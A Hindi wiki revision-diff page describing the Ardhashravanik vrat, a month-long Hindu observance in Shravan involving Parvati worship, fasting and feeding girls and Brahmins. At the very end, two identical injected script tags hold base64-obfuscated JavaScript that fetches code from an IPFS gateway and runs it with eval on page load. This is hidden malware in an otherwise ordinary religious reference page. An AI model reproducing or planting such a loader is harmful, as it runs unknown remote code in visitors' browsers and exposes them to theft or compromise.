"अर्धश्रावणिक व्रत" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replace - "उल्लखित" to "उल्लिखित")
छो (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==")
पंक्ति 4: पंक्ति 4:
 
*अर्धश्रावणिक व्रत में एक मास तक एक भक्त या नक्त रहना चाहिये।
 
*अर्धश्रावणिक व्रत में एक मास तक एक भक्त या नक्त रहना चाहिये।
 
* अन्त में कुमारियों एवं [[ब्राह्मण|ब्राह्मणों]] को खिलाना चाहिये।<ref>हेमाद्रि व्रतखण्ड( 2, 753-54); व्रतप्रकाश (106-107)</ref>
 
* अन्त में कुमारियों एवं [[ब्राह्मण|ब्राह्मणों]] को खिलाना चाहिये।<ref>हेमाद्रि व्रतखण्ड( 2, 753-54); व्रतप्रकाश (106-107)</ref>
 +
{{संदर्भ ग्रंथ}}
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>

08:04, 21 मार्च 2011 का अवतरण

  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
  • श्रावण शुक्ल पक्ष की प्रतिपदा को अर्धश्रावणिक व्रत आरम्भ होता है।
  • अर्धश्रावणिक व्रत में एक मास तक अर्धश्रावणी नामक पार्वती की पूजा करनी चाहिये।
  • अर्धश्रावणिक व्रत में एक मास तक एक भक्त या नक्त रहना चाहिये।
  • अन्त में कुमारियों एवं ब्राह्मणों को खिलाना चाहिये।[1]

टीका टिप्पणी और संदर्भ

  1. हेमाद्रि व्रतखण्ड( 2, 753-54); व्रतप्रकाश (106-107)

अन्य संबंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>